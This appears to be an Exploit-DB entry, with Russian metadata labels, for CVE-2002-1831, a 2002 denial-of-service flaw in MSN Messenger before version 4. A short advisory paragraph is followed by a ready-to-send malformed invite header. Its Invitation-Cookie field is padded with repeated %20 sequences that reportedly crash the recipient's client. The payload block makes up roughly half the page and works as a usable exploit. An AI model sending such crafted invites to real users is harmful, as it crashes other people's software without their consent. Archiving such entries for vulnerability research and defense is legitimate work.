Exploit Microsoft MSN Messenger 1 < 4 - Malformed Invite Request Denial of Service

[Exploiter]

EDB-ID

21481

Проверка EDB

1. Пройдено

Автор

BECK MR.R

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2002-1831

Дата публикации

2002-05-24

source: https://www.securityfocus.com/bid/4827/info

Microsoft's MSN Messenger is an instant messenging client for Windows based machines, based on the Passport system.

A vulnerability has been reported in some versions of MSN Messenger. Under some circumstances, it may be possible to crash the client when it receives a malformed invite request. By including a number of HTML-encoded space characters (%20) in the Invitation-Cookie field, and sending the header to a remote user, it is reportedly possible to crash a remote user's client. 

MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8

Application-Name: Remote Assistance
Application-GUID: {56b994a7-380f-410b-9985-c809d78c1bdc}
Session-Protocol: SM1
Application-URL: http://www.microsoft.com
Invitation-Command: INVITE
Invitation-Cookie: 54902160%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
Session-ID: {8B1BE64F-4019-489D-B1A3-EC0BA993651B}